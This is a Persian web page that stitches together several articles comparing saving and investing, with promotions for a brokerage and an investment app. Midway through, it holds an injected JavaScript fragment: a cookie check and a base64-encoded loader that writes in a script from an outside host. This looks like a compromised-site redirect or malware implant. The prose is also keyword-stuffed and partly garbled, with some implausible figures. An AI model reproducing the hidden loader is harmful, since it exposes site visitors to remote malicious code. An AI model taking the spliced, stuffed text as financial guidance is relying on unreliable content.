پس‌انداز و سرمایه گذاری

مدیریت پول ، ارزهای دیجیتال ، سرمایه گذاری

پس انداز یا سرمایه گذاری؟

در دنیای امروز، سرمایه گذاری در بازارهای مالی و نیز پس انداز سرمایه به شیوه‌های مختلف بسیار رایج و بخشی از هدف‌گذاری بسیاری از اقشار و طبقات اجتماعی شده است. بسیاری از افراد بخشی از سرمایه خود را در بازارهایی مثل بازار بورس، ارز دیجیتال و . سرمایه گذاری می‌کنند و بسیاری دیگر پس انداز در بانک ها و صندوق های مالی را ترجیح می دهند. بسیاری هم بر سر دو راهی سرمایه گذاری در بازار سرمایه و پس انداز در بانک می مانند. با اینکه این دو مفهوم شباهت هایی را در خود دارند، اما دارای تفاوت های اساسی نیز هستند که در این مقاله می خواهیم به بررسی تفاوت بین پس انداز و سرمایه گذاری از جنبه های مختلف بپردازیم. مطالبی که قصد داریم در ادامه شرح دهیم:

تعریف سرمایه گذاری

تعریف پس اندازی

تفاوت های پس انداز و سرمایه گذاری

• اهداف زمانی
• نقدشوندگی
• بازدهی و کسب سود
• ریسک
• تفاوت در عملکرد اقتصادی
• تفاوت از نظر روانشناسی افراد

تعریف سرمایه گذاری

طبق تعریف، به از دست دادن بخشی از سرمایه در زمان حال برای رسیدن به سرمایه و بازدهی بیشتر در زمان آینده، سرمایه گذاری می گوییم. در سرمایه گذاری ما به عنوان سرمایه گذار، بخشی از سرمایه یا پس‌انداز و سرمایه گذاری تمام دارایی خود را به امید به دست آوردن سرمایه بیشتر، خرج می کنیم. مثلا در بازار بورس، ارزش دارایی خود را میان چند سهم تقسیم می کنیم به امید اینکه در آینده سود مناسبی کسب کنیم. اما در سرمایه گذاری ما ریسک ضرر و زیان را هم به جان می خریم چرا که هیچ چیز در آینده به وضوح مشخص نیست و هر ممکن و احتمالی، امکان پذیر است.

تعریف پس انداز

طبق تعریف به مازاد مخارج اقتصادی، برای مصرف در آینده پس انداز می گوییم. در پس اندازی برخلاف سرمایه گذاری، ما به عنوان پس انداز، بخشی از دارایی خود را نگه می داریم تا در آینده در صورت نیاز خرج کنیم. به نوعی ما بخشی از دارایی خود را کنار می گذاریم تا در صورت نیاز و یا خرید اجناس، به سمت آن برویم. در این حالت ما ریسک کمتری کرده ایم چرا که احتمال ضرر به صفر می رسد اما ممکن است ارزش دارایی ما چندان تغییری در آن صورت نگیرد و یا درصد کمی به سود برسیم.

تفاوت های پس انداز و سرمایه گذاری

همان طور که تا حدودی به آن اشاره شد، پس اندازی و سرمایه گذاری دارای تفاوت هایی هستند که می تواند نگرش ما را به این دو مفهوم تغییر دهد و یا در موقع تصمیم گیری بین این دو راهی، تصمیمی منطقی و پر بازدهی بگیریم. در ادامه به بررسی کلی این تفاوت ها با پرداختن به پارامترهای مختلف، می پردازیم:

• اهداف زمانی

یکی از مهمترین تفاوت هایی که میان پس اندازی و سرمایه گذاری مطرح است، اهداف زمانی هر کدام برای رسیدن به نتیجه مطلوب است. طبعا وقتی صحبت از سرمایه گذاری به میان میاید، صرف نظر از هر نوع سرمایه گذاری، ما نیاز به زمان بیشتر در طی سالها هستیم تا به سود مناسب و افزایش سرمایه خود برسیم اما در پس اندازی، اهداف کوتاه مدت مد نظر است. هم ممکن است نیاز به خرج آن در زمان کوتاه به وجود بیاید و هم پس اندازی درازمدت، چندان منطقی به نظر نمی رسد چرا که ارزش دارایی در طی سالها کم و کمتر می شود. چرا که ممکن است با افزایش تورم، ارزش پس انداز پایین بیاید.

• نقدشوندگی

در پس اندازی به راحتی می توانید پول خود را از طریق بانک نقد کنید و هر زمان که به آن نیاز داشتید به آن دسترسی آسانی داشته باشید و آن را نقد و خرج نمایید اما در سرمایه گذاری به راحتی نمی توانید سرمایه خود را نقد کنید و شاید نیاز به زمان بیشتری برای این کار خواهید داشت. به عنوان مثال اگر در بازار سهام سرمایه گذاری کرده اید، برای نقد کردن سرمایه خود، نیاز دارید تا سهم مورد نظر را در قیمت مطلوبی بفروشید و این پروسه ممکن است کمی زمان بر باشد تا پول نقد آن به حساب شما واریز شود. و بسته به شرایط بازار نیز دارد.

• بازدهی و کسب سود

در این مورد، تفاوت بنیادی مهمی وجود دارد. وقتی شما پولی را پس انداز می کنید، احتمال ضرر کردن تقریبا به صفر می رسد اما آیا بازدهی شما در طولانی مدت بالا خواهد بود؟ طبعا خیر.

بازدهی و سود در بازار سرمایه همواره با میزان ریسک و سرمایه گذاری گره خورده است. بنابراین به طور مشخص می توان گفت، در سرمایه گذاری بازدهی و کسب سود به مراتب بسیار بیشتر از پس اندازی خواهد بود. در پس اندازی ارزش دارایی شما تقریبا ثابت باقی می ماند و عملا بازدهی کمی خواهد داشت.

قبل هم تا حدی اشاره کردیم، در سرمایه گذاری، ریسک بیشتری وجود دارد و هر چقدر میزان سرمایه بیشتر باشد، طبیعتا قدرت ریسک هم بالاتر می رود. وقتی احتمال ضرر و سود به یک میزان قرار دارد، پس مفهومی به نام ریسک وسط میاید. در پس اندازی شما در منطقه امن به سر می برید چرا که احتمال ضرری وجود ندارد اما در سرمایه گذاری شما به طور مداوم با فاکتوری به نام ریسک دست و پنجه نرم می کنید. به طور مثال در سرمایه گذاری بازار سهام، ممکن است در مواقعی سودی که پس انداز بانکی در طی یک سال می دهد را شما در طی یک ماه به دست بیاورید.

• تفاوت در عملکرد اقتصادی

پس اندازی و سرمایه گذاری، عملکردهای متفاوتی از خود نشان می دهند. در سرمایه گذاری، امکان رشد سرمایه و بالا رفتن عملکرد اقتصادی وجود دارد به طوری که عرضه و تقاضا به عنوان پارامتری مهم در عملکرد اقتصادی،مطرح می شود. اما در پس اندزی این پارامتر عملا وجود ندارد بنابراین می توان گفت عملکرد اقتصادی نسبتا ضعیفی در مقابل سرمایه گذاری خواهد داشت. در پس اندازی پول در چرخه اقتصادی قرار نمی گیرد و در وضعیتی ثابتی قرار خواهد گرفت. اما در سرمایه گذاری با سود به دست آمده می توان سمت سرمایه گذاری جدید رفت و وارد چرخه اقتصادی شد.

• تفاوت از نظر روانشناسی افراد

هر فردی نسبت به ذهن و نوع شخصیت فردی خود اقدام به پس انداز یا سرمایه گذاری می کند. افرادی که اهل ریسک پذیری و خطر کردن هستند، سرمایه گذاری را برای آینده خود انتخاب می کنند و بالعکس افرادی که چندان دغدغه ریسک را ندارند و می خواهند همیشه منطقه امنی داشته باشند، پس اندازی را در نظر می گیرند. به همین ترتیب افرادی که دید بلندمدتی به سرمایه خود دارند و افق دید بلندتری در سر دارند، به سمت سرمایه گذاری می روند و افرادی که دید کوتاه مدت دارند و به نوعی برای روز مبادا پول خود را نگه می دارند، پس اندازی را انتخاب می کنند.

جمع‌بندی

تصمیم گیری و انتخاب میان پس اندازی پول و سرمایه گذاری، همواره از دغدغه های بسیاری از افراد مختلف می باشد. هر کدام از این دو مفهوم با پارامترهای مالی در ارتباط هستند اما دارای تفاوت های زیادی با هم هستند. این تفاوت ها را از جنبه های گوناگونی می توان بررسی کرد. به همین خاطر در این مقاله به بررسی تمایز بین پس اندازی و سرمایه گذاری پرداخت کردیم و فاکتورهای مختلفی را برای آنها در نظر گرفتیم.

با در نظر گرفتن جنبه های مختلف می توان به این نتیجه رسید که در شرایط فعلی، سرمایه گذاری در بورس نسبت به نگه داری و پس انداز پول، منطقی تر و پر بازده تر به نظر می رسد. کارگزاری اقتصاد بیدار با داشتن سابقه طولانی در بازار سرمایه، آماده ارائه خدمات خود برای سرمایه گذاری در بورس اوراق بهادار می باشد که کافی است برای اطلاعات بیشتر با دفاتر و شعبات کارگزاری در تماس باشید

راهنمای پس انداز برای سرمایه گذاری در بازارهای مالی مثل ارزهای دیجیتال

تفاوت فاحشی میان سرمایه گذاری و پس انداز وجود دارد. هر دوی این مسائل جایگاه ویژه ای در زندگی شما دارد اما هر کدام نقش های متفاوتی را بازی می کنند. این که شما چگونه هر کدام از این مسائل را راهبری می کنید می تواند پیامدهای زیادی برای موفقیت مالی، سطح استرس و این که شما آیا در نهایت ثروتمند می شوید داشته باشد. این شرایط به عبارت دیگر یعنی تفاوت بین بیخوابی در طول شب، استرس فراوان یا حتی افسردگی ناشی از رکود با دانش به این است که شما به اندازه کافی نقدینگی برای روز مبادا در اختیار دارید است.

پس انداز کردن فرایند ذخیره پول در یک حساب بانکی جداگانه یا مخفیانه است که می تواند در زمان کوتاهی قابل دسترس باشد. یا این که بخشی از سرمایه است که تبدیل به کالای ارزشمندی شده که در شرایط مناسب می توان به راحتی به پول تبدیل کرد.

در حالی که سرمایه گذاری فرایند بهره برداری از پول است. یعنی شما بخشی از پول خود را به کالا یا چیزی تبدیل کنید که در کوتاه مدت به کار شما نمی آید و در طول زمان دارای ارزش افزوده می شود. این ارزش افزوده می تواند چندین سال هم به طول بیانجامد. اگر بخواهیم مثال هایی برای این بیان کنیم می توانیم به اوراق بهادار، سهام و مستغلات و املاک اشاره کرد که این ها پس انداز نیستند بلکه سرمایه گذاری اند.

پس انداز مقدار کمی پول هم مهم است

شما ممکن است ۵ هزار تومان یا ۱۰ هزار تومان را فقط بتوانید پس انداز کنید. این رقم اندک ممکن است از کل فرایند پس انداز منصرفتان کند، اما در این دام نیفتید. پس انداز کنید هر چند اندک! هیچ وقت این عادت را کنار نگذارید. معلق کردن عادت پس انداز در سنین کم به این بهانه که رقم اندک است و فایده ای ندارد اشتباه بزرگ است.

مدیریت پول ، ارزهای دیجیتال ، سرمایه گذاری

یکی از سنگ بناهای پس انداز کردن این است که درک کنید که زمان باعث ارزش افزایی پس انداز شما می شود. ۱ دلار امروز ارزش کمتری از ۱ دلار در سال آینده دارد. ذخیره چند دلار در امروز باعث می شود توانمندی آینده شما بالاتر برود. هرچه پول شما بیشتر رشد کند، برای شما بهتر خواهد شد.

چقدر پول باید پس انداز کنید؟

همه می دانند که پس انداز کردن باید اولویت اصلی را در زندگی مالی داشته باشد و بیشتر افراد به اندازه کافی باهوش هستند که به دنبال نکات صرفه جویی در پول هستند، اما چند نفر می دانند که چه میزان پول را باید پس انداز کنند؟ اکثر افراد به اشتباه معتقدند که پس انداز بیشتر بهتر است و پس انداز کم بد است.

در حالی که این به معنای کلی در فرهنگ ذخیره این موارد را باید در نظر داشت که بسته به نیاز شما، ترجیحات سبک زندگی و درآمد، میزان پولی که برای صرفه جویی در اختیار دارید و در صورت بروز شرایط اضطراری یا طلایی در دسترس شماست، باید پس انداز صورت بگیرد و این می تواند بسیار متفاوت از دوستان، خانواده و همسایه ها یا هر کس دیگری باشد. قانون کلی این است که ۳ تا ۶ ماه از هزینه های زندگی در یک حساب کاربری که به راحتی در دسترس است صرفه جویی کنید.

نکته اصلی پس انداز پول در این است که ابتدا پرداخت کنید

تنها بهترین راه برای شروع پس انداز پول استفاده از تکنیکی به نام “اول خودتان پرداخت کنید” است. این تکنیک بارها و بارها ثابت شده است که باعث می شود افراد رفتار خود را تغییر دهند. به عبارت ساده تر، این یک نظمی را ایجاد می کند که همیشه مبلغ مشخصی را قبل از پرداخت قبض های دیگر برای پس انداز آینده خود صرفه جویی کنید

راهی ساده تر برای ایجاد پس انداز

بعضی اوقات، پس انداز پول می تواند دشوار باشد. زندگی غالباً توپ هایی- حوادث غیر منتظره ای که مانع برنامه و روال پس انداز ما می شود. اگر در مسیر آزادی مالی تلاش می کنید، راه هایی برای آسان تر کردن پس انداز و سرمایه گذاری وجود دارد. سعی کنید بازی را از یافتن راه هایی برای صرف ۱۰۰ هزار تومان کمتر در هر ماه درست کنید. می توانید به جای اینکه تاکسی سوار شوید، از اتوبوس استفاده کنید. یا به جای قهوه، چای یا آب سفارش دهید. به خود پاداش دهید و اهدافی را که می توانید هنگام رسیدن به سطح پس انداز خاص، انجام دهید اهدا کنید.

راه های ایجاد وجه نقد برای پس انداز خود

اگر می خواهید بدانید چگونه ثروتمند شوید، تاریخ نشان پس‌انداز و سرمایه گذاری داده است که سرمایه گذاری در مشاغل خوب مکان خوبی برای شروع است. با این حال، شما باید سرمایه لازم برای سرمایه گذاری

اگر از کارت های اعتباری استفاده می کنید، تمام مانده حساب را به صورت ماهیانه پرداخت کنید و یک کارت پیدا کنید که برای خریدهای شما امتیاز کسب می کند که می تواند برای پس گرفتن پول نقد به صورت تخفیف باشد. یک شغل جانبی بگیرید و از این درآمد برای سرمایه گذاری خود استفاده کنید. اینترنت روشهای زیادی برای ارائه خدمات آزاد ارائه می دهد.

پرداخت بدهی یا پس انداز

بدهی ها اغلب یک مانع بزرگ برای شروع روند پس انداز پول است. اگر بدهی شما ۱۵٪ سود شما را از شما میگیرد و پس از پرداخت هزینه های خود پول زیادی ندارید، به راحتی می توان فهمید که پس انداز پول، می تواند کاری دشوار باشد. وقتی می خواهید تصمیم بگیرید که ابتدا باید پس انداز کنید یا بدهی خود را پرداخت کنید، ابتدا بر روی پرداخت بدهی ها با بهره بالا تمرکز کنید، اما مبلغ کمی را نیز پس انداز کنید لازم نیست تا فقط یک استراتژی داشته باشید.

بدهی کم بهره می تواند ارزش آهسته پرداخت کردن را داشته باشد، بنابراین می توانید با در نظر گرفتن پتانسیل ترکیب دو استراتژی داشتن بدهی کم بهره و پس انداز اندک ولی مستمر در طولانی مدت بازنشستگی خود را تضمین کنید. در این حالت به یک استراتژی ترکیبی فکر کنید.

چگونه اولین ۱۰۰ میلیون تومان خود را پس انداز کنیم

چارلی مونگر، سرمایه گذار میلیاردر، همیشه گفته است که چالش برانگیزترین مانع برای استقلال مالی، صرفه جویی در ۱۰۰۰۰۰ میلیون تومان اول است. هنگامی که از آن آستانه عبور کردید، پول لازم برای دریافت وام بانکی برای ایجاد یک تجارت و یا به دست آوردن املاک و مستغلات و یا سرمایه گذاری در بورس سهام را دارید که در صورت کار خوب می تواند یک تغییر ملموس در زندگی شما داشته باشد. کد مالیاتی را بشناسید تا آخرین سندی را که به دستتان می آید برسید. سود سهام خود را مجدداً سرمایه گذاری کنید و با کمترین هزینه به دنبال فرصت باشید.

در سال ۱۹۱۹، خانواده هایی که با صرفه جویی ۱۹ دلار در هزینه خود، توانستند یک سهم از سهام شناخته شده و بسیار موفقی را خریداری کنند. امروز، آن سهم واحد، با سود سهام مجدد سرمایه گذاری شده، بیش از ۵ میلیون دلار ارزش دارد. این همه به دلیل عادت پس انداز امکان پذیر بود. مهم این است که شما از روز آغاز، از مبالغ کم نا امید نشوید. مهم نیست که حساب پس انداز شما در حال حاضر اندک باشد، با داشتن مدیریت دقیق و کاهش نظم هزینه، می توانید یک روز ثروتمند شوید

function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)

تفاوت پس انداز و سرمایه گذاری چیست؟

پس‌انداز و سرمایه‌گذاری هر دو از مفاهیم مهمی هستند که برای ساختن یک پایه مالی سالم به آن نیاز دارید. هم پس‌انداز و هم سرمایه‌گذاری می‌توانند به شما کمک کنند تا آینده مالی راحت‌تری را پیش روی خود ببینید٬ اما شما لازم است تفاوت این دو مفهوم را بدانید تا بتوانید تشخیص دهید چه زمانی پس‌انداز و چه زمانی سرمایه‌گذاری برایتان مناسب است.

بسیاری از افراد٬ به ویژه سرمایه‌گذاران تازه وارد به بازار سرمایه ممکن است از سرمایه‌گذاری و پس‌انداز و سرمایه گذاری پس‌انداز در جای درست استفاده نکنند. تفاوت‌هایی بین این دو ابزار وجود دارد که نقش متفاوتی را در استراتژی‌های مالی شما ایفا می‌کنند. پس بهتر است قبل از این‌که سفر خود را در این مسیر شروع کنید٬ مطمئن شوید که این دو مفهوم را به خوبی درک کرده‌اید. اما به نظر شما این دو اصطلاح یکی هستند؟

اگر در مورد ویژگی مشترک بین پس‌انداز و سرمایه‌گذاری بپرسید٬ اهمیت بالای آن در زندگی مالی شما مهم‌ترین ویژگی مشترک بین این دو است. یک قانون کلی در این باره وجود دارد که به سرمایه‌گذاری با رویکردی بلند مدت و به پس‌انداز با رویکردی کوتاه‌مدت اشاره می‌کند. با در نظر گرفتن این قانون کلی در ادامه تفاوت‌های پس‌انداز و سرمایه‌گذاری را بررسی می‌کنیم.

پس‌انداز

برای بسیاری از ما٬ پس‌انداز کردن پول به معنی قرار دادن آن در یک حساب پس‌انداز در بانک است. معمولا پس‌انداز و سرمایه گذاری افراد برای خرید و شرایط اضطراری پس انداز می‌کنیم. پس‌انداز کردن پول معمولا برای شما به این معنا است که در هنگام ضرورت٬ پول در دسترس شما است و هر زمان که خواستید می‌توانید از این پول استفاده کنید. ریسک پس‌انداز معمولا بسیار پایین است و پس‌انداز برای شما بسیار نقد است. هر زمان که بخواهید آن را برداشت کرده و مصرف می‌کنید.

زمانی که پس‌انداز کردن را انتخاب می‌کنید باید بدانید که با گذشت زمان٬ یک عامل خارجی وجود دارد که علیه شما کار می‌کند: تورم!
همان‌طور که احتمالا به نظرتان رسیده٬ هرسال نسبت به سال قبل همه چیز گران می شود و در نتیجه ارزش پول شما در یک سراشیبی در حال کمتر شدن است. تورم به عنوان یک عامل فرساینده در برابر پول شما عمل می‌کند و هر روز مقدار کمی از ارزش آن از دست می‌رود.

پس با توجه به عامل تورم پول شما رشد زیادی نمی‌کند و حتی ممکن است ارزش آن کاهش یابد. در این بین اگر برای یک هدف موتاه مدت مثل سفر و یا خرید ماشین و مبلمان پس انداز می‌کنید ممکن است مشکلی پیش نیاید اما اگر برنامه دارید برای خریدی در چندسال بعد پس‌انداز کنید ممکن است عامل تورم از پس‌انداز شما قوی‌تر عمل کنید و قدرت خرید خود را به کلی از دست بدهید.

سرمایه‌گذاری

در ادامه شرایطی که بالاتر در مورد پس‌انداز و نقش فرساینده تورم گفتیم٬ سرمایه‌گذاری وارد صحنه می‌شود. به جای این‌که پول خود را در حساب بانکی‌تان نگه دارید می‌توانید با آن سهام بخرید و یا عضو یک صندوق سرمایه‌گذاری شوید.
سرمایه‌گذاری به پول شما این فرصت را می‌دهد تا با نرخی بسیار بالاتر از یک حساب پس‌انداز رشد کند. با سرمایه‌گذاری کردن شما وارد فرایندی می‌شوید که پولتان را صرف خرید ترکیبات مختلفی از دارایی‌ها می‌کنید که در طول زمان ارزش آن‌ها افزایش می‌یابد.

ریسک سرمایه‌گذاری٬ ویژگی جدانشدنی این فرایند است. ممکن از روش‌های کم‌ریسک را برای سرمایه‌گذاری انتخاب کنید اما با این حال باز هم ریسک عضوی جدانشدنی از مسیر سرمایه‌گذاری است. در مقابل پذیرش این ریسک شما پتانسیل بازدهی بالاتر را نسبت به پس‌انداز تجربه خواهید کرد.

زمانی‌که تصمیم بر سرمایه‌گذاری دارید٬ مهم است که عاقلانه تصمیم بگیرید. ابزارهای مختلف سرمایه‌گذاری را بشناسید و به موقع از آن استفاده کنید. نکته مهم دیگر این است که علم و تجربه را در این راه در کنار یکدیگر به کار بگیرید و روزهای بالا و پایین بازارهای مالی را با کمترین آسیب طی کنید.

تفاوت‌های کلیدی

برای شروع می‌توانیم بگوییم بزرگ‌ترین و تاثیرگذارترین تفاوت بین پس‌انداز و سرمایه‌گذاری٬ ریسک است. زمانی که پول خود را به یک حساب پس‌انداز می‌سپارید٬ ریسک آن چنانی پول شما را تهدید نمی‌کند. یعنی احتمال کمی وجود دارد که سرمایه خود را از دست بدهید٬ با این حال در حال دریافت حداقل سود هستید. وقتی پس‌انداز می‌کنید می‌توانید پولتان را در زمانی که به آن نیاز دارید بیرون بکشید.

در مقابل زمانی که سرمایه‌گذاری می‌کنید٬ پتانسیل سود و بازدهی آن در بلند مدت بهتر است در حالی که ریسک بیشتری را باید تحمل کنید و گاهی پتانسیل ضرر هم وجود دارد.
اهداف خود را مرور کنید تا تشخیص دهید کدام گزینه برای شما بهتر است: پس‌انداز یا سرمایه‌گذاری؟ این انتخاب به ویژگی‌های فردی و اهداف شما وابسته است. انتخاب نادرست بین این گزینه‌ها می‌تواند هزینه زیادی برایتان داشته باشد و یا شما را از کسب یک درآمد بالقوه دور کند.

تفاوت دیگر بین سرمایه‌گذاری و پس‌انداز٬ درآمدی است که برای شما ایجاد می‌کند. در فرایند سرمایه‌گذاری شما می‌خواهید که برایتان درآمدی ایجاد شود. در مقابل در فرایند سرمایه‌گذاری هدفتان این است که پول خود را ایمن نگه دارید و در کنار آن بازدهی کمی هم داشته باشید.

حساب‌های پس‌انداز یکی از روش‌های محبوب هستند. این ابزار می‌تواند برای بازه‌های زمانی کوتاه مدت به کار گرفته شود و از چندین ماه تا چندین سال مورد استفاده شما واقع شود. در حساب‌های پس‌انداز پول شما امنیت دارد و با نرخ بهره کمی رشد می‌کند. به علاوه دسترسی به آن بسیار راحت و همیشگی است.

نمی‌توانیم بگوییم که هیچ کدام از روش‌های پس‌انداز و سرمایه‌گذاری اهمیت کمتری دارند. چرا که برای اهداف متفاوت و مهمی به کار گرفته می‌شوند و هر دو را می‌توان با هم به کار گرفت.

نکات دیگر

ممکن است در دسته‌بندی های زمانی٬ بازه کوتاه مدت را زیر هفت سال و بازه بلندمدت را بالای هفت سال در نظر بگیرند. اما زمانی که پای پس‌اندداز و سرمایه‌گذاری وسط باشد این بازه‌ها بیشتر بر اساس اهداف شما به عنوان یک سرمایه‌گذار تعیین می‌شوند. کافی است که برنامه خود را بدانید و زمانبندی حدودی نیاز به بودجه را مشخص کنید٬ سپس به راحتی می‌توانید برای پول خود برنامه ریزی کنید.

بهتر است منتظر رسیدن یک زمان طلایی برای پس‌انداز یا سرمایه‌گذاری نمانید. آن زمان طلایی هرگز رخ نخواهد داد. شروع کردن بهترین استراتژی است. حتی اگر پول کمی در دسترس دارید٬ اهداف خود ورا مشخص کنید و تصمیم بگیرید که می‌خواهید پس‌انداز کنید یا ریسک سرمایه‌گذاری و رشد آن را می‌پذیرید. به هر حال مسیر رسیدن به اهداف مالی خود را هرچه زودتر شروع کنید٬ بهتر است.

نزدیک در فرایند سرمایه‌گذاری کنار شماست. اپلیکیشن سرمایه‌گذاری نزدیک با استفاده پس‌انداز و سرمایه گذاری از استراتژی‌های مشاوره هوشمند می‌تواند فرایند سرمایه‌گذاری را برای شما تا حد امکان ساده و سریع کند و شما را در مسیر رسیدن به اهدافتان راهنمایی کند.

تفاوت بین پس انداز و سرمایه گذاری چیست؟

زمانی که در حال گوش دادن به اخبار هستید و در گزارشهای اقتصادی می شنوید که گوینده خبر از رشد شاخص بازار بورس و افزایش ارزش بازار صحبت میکند آیا تا به حال به این فکر کرده اید که ای کاش من هم به جای پس انداز در بانک در بورس فعالیت میکردم و از این فرصت سودآوری بهره میبردم؟ اینجاست که تفاوت بین پس انداز کردن و سرمایه گذاری کردن خود را نشان میدهد.

باید بگویم که شما تنها نیستید! طبق آمار و ارقامی که رئیس سازمان بورس در پایان سال 1397 ارائه کرد فقط 13 درصد از جمعیت ایران در بازار بورس کد سهامداری داشتند (منبع: عصرایران) این عدد طبق جدیدترین آمار در سال 1399 به حدود 55 میلیون نفر رسیده که علت آن صرفا آزادسازی سهام عدالت است اما افرادی که به طور فعال در بازار بورس معامله میکنند هنوز به 7 میلیون نفر نرسیده است. این تعداد به فرض اینکه همگی به طور فعال در بورس خرید و فروش کنند نسبت به کشورهایی مثل امریکا که نزدیک به 55 درصد جمعیت آن در بورس فعالند، بسیار کم است. (منبع: گالوپ)

به نظر شما اغلب ما با پولهای خود چه کار میکنیم؟ بله… در بانک پس انداز می کنیم.

تفاوت بین پس انداز و سرمایه گذاری از نگاه هارو اکر

هارو اکر (T. Harv Eker) در کتاب رازهای یک ذهن میلیونر (Secrets of the Millionaire Mind) میگوید:‌ افراد فقیر یک دلار را به عنوان ابزار و وسیله ای می‌دانند تا با آن نیازهای لحظه خود را پاسخ دهند و با آن چیزی را بخرند که نیاز دارند، اما افراد ثروتمند هر یک دلار را بذری میدانند که می توانند آن را بکارند و از آن صدها دلار به دست آورند و دوباره آنها را بکارند و هزاران دلار کسب کنند. شما جزو کدام دسته هستید؟ آیا تا حقوق میگیرید به فروشگاه می روید و کیف و لباسی را که مدتی است برای آن برنامه ریزی کردید میخرید، یا قبل از هزینه خوراک سرمایه گذاری خود را کنار میگذارید؟

چرا افراد به جای سرمایه گذاری پول خود را در سپرده های بانکی پس انداز می کنند؟

بسیاری از ایرانی ها از سرمایه گذاری در ابزارها و بازارهای مرسوم و متداول سرمایه گذاری می ترسند و اغلب ترجیح میدهند پول خود را در جای مطمئنی سرمایه گذاری کنند.

بانکها هم به طور تاریخی معمولا سود اغواکننده ای به سپرده های بانکی میدهند و همین باعث شده افراد انگیزه بیشتری برای بردن پولهای خود به بانک ها داشته باشند و چون نهادهای مالی تسهیل گر سرمایه گذاری در بورس چندان توسعه پیدا نکرده اند پس افراد کمی جذب این بازار و خرید و فروش سهام شده اند.

تفاوت اصلی بین سرمایه گذاری و پس انداز: نرخ بازده

اما بیایید به یک تفاوت اصلی بین پس انداز پس‌انداز و سرمایه گذاری در بانک و سرمایه گذاری بپردازیم.

در پس انداز کردن، شما پولی را که فعلا به آن نیاز ندارید کنار میگذارید تا در مواقع اضطراری در آینده یا برای خرید هر چیزی که به آن نیاز پیدا میکنید، استفاده کنید. در واقع پس انداز، پولی است که شما در صورت نیاز به سرعت به آن دسترسی خواهید داشت و خطر جدی هم پول شما را تهدید نمیکند. بانک ها معمولا پس‌انداز و سرمایه گذاری افراد را تشویق میکنند تا پولهای خود را در حسابهای کوتاه مدت یا بلندمدت خود سپرده کنند و سود ثابت و مشخصی را هم به این سپرده ها تخصیص میدهند.

اما سرمایه گذاری به این معنی است که شما یک دارایی مثل سهام، اوراق مشارکت، زمین، مسکن، طلا، ارز یا کسب و کار را بخرید، به این امید که این دارایی در آینده برای شما درآمدی ایجاد کند. برای پس‌انداز و سرمایه گذاری مثال وقتی خانه ای می خرید، میتوانید آن را اجاره بدهید و اجاره ای که دریافت میکنید، سود سرمایه گذاری شما به حساب می آید. به علاوه اینکه ارزش ملک شما هم طی سالها رشد می کند و شما از محل افزایش قیمت مسکن هم سود می کنید.

یا وقتی در بازار بورس، سهام شرکتی را میخرید، اگر آن شرکت سودآور باشد، در پایان سال سود بین سهامداران تقسیم خواهد شد. به علاوه قیمت سهام شرکت هم ممکن است افزایش پیدا کند و سهامداران شرکت موقع فروش سهام خود سود خوبی به دست آورند.

نرخ سود ثابت میخواهید یا متغیر و چند صددرصدی؟

همانطور که احتمالا تا به حال متوجه شده اید، سودی که بانک برای پس اندازهایتان به شما می دهد ثابت است و به طور تاریخی سالانه چیزی حدود 20 درصد بوده است. اما ممکن است سودی که شما از بازارهای دیگر بابت سرمایه گذاری به دست آورید بسیار بالاتر از این نرخ باشد. برای مثال در بورس شرکتهای بسیاری هستند که قیمت سهام آنها طی یک سال 100 – 500 یا حتی 1000 درصد رشد کرده است و اگر شما 100 میلیون تومان سهام این شرکتها را می داشتید، طی یک سال میتوانستید چند صد میلیون تومان سود کنید. اتفاقی که به هیچ عنوان در بانک رخ نمیدهد.

فرق دوم پس انداز و سرمایه گذاری: میزان ریسک

تفاوت دوم پس انداز کردن با سرمایه گذاری در ریسک این دو فعالیت اقتصادی است.

وقتی شما در بانک پس انداز می کنید احتمالا مطمئنید که هر زمان به بانک مراجعه کنید می توانید اصل پول خود را دریافت کنید. ضمن اینکه سود سپرده گذاری شما هم طی بازه های زمانی مشخص و عمدتا ماهیانه به حساب شما واریز میشود.

اما در مورد بازارهای دیگر مثل بورس هیچ تضمینی وجود ندارد که شما از خرید سهام خود سودی به دست آورید. ممکن است شما سهمی را خیلی گران بخرید و درست زمانی که اقدام به خرید سهام کردید، آن سهم شروع به ریزش و افت قیمت کنید و به یکبار و طی چند روز حتی تا 50 درصد از ارزش سرمایه شما کاسته شود.

بنابراین سرمایه گذاری کردن خطراتی دارد که باید قبل از شروع به کار آنها را در نظر بگیرید. اما پس انداز کردن در شرایط عادی ریسکی ندارد.

جای ریسک و بازده در پس انداز و سرمایه گذاری در شرایط تورمی تغییر میکند!

این را هم در نظر بگیرید که در شرایط تورمی و زمانی که قیمتها رو به افزایش است، سرمایه گذاری تبدیل به فعالیتی کم خطر و پس انداز در بانک پرخطر میشود. چرا که اگر شما در سهام یا مسکن سرمایه گذاری کنید، در شرایط تورمی ارزش سرمایه شما حفظ میشود اما ارزش پس اندازهایتان در بانک روز به روز کاهش پیدا میکند.

با این حساب و با در نظر گرفتن همه عوامل، خیلی از افراد دوست دارند تا پول خود را در یک حساب پس انداز بانکی قرار بدهند و یک مقدار سود ثابت بانکی دریافت کنند چراکه اگرچه نرخ سود بانکی خیلی پایین است اما سرمایه افراد در معرض ریسک قرار نمی گیرد. اما توجه کنید که در کشور ما ریسک تورم یکی از بزرگترین ریسکهایی است که سرمایه شما را هر روز تهدید میکند و لازم است اگر در بانک پس انداز و سپرده گذاری میکنید این ریسک بزرگ را هم در نظر بگیرید. چرا که طبق تجربه اخیر سپرده های بانکی و با درآمد ثابت دوبار یکی در سال 97 و دیگری در سال 99 با افت شدید ارزش روبرو شدند و قدرت خرید ریال تا یک دهم کاهش پیدا کرد.

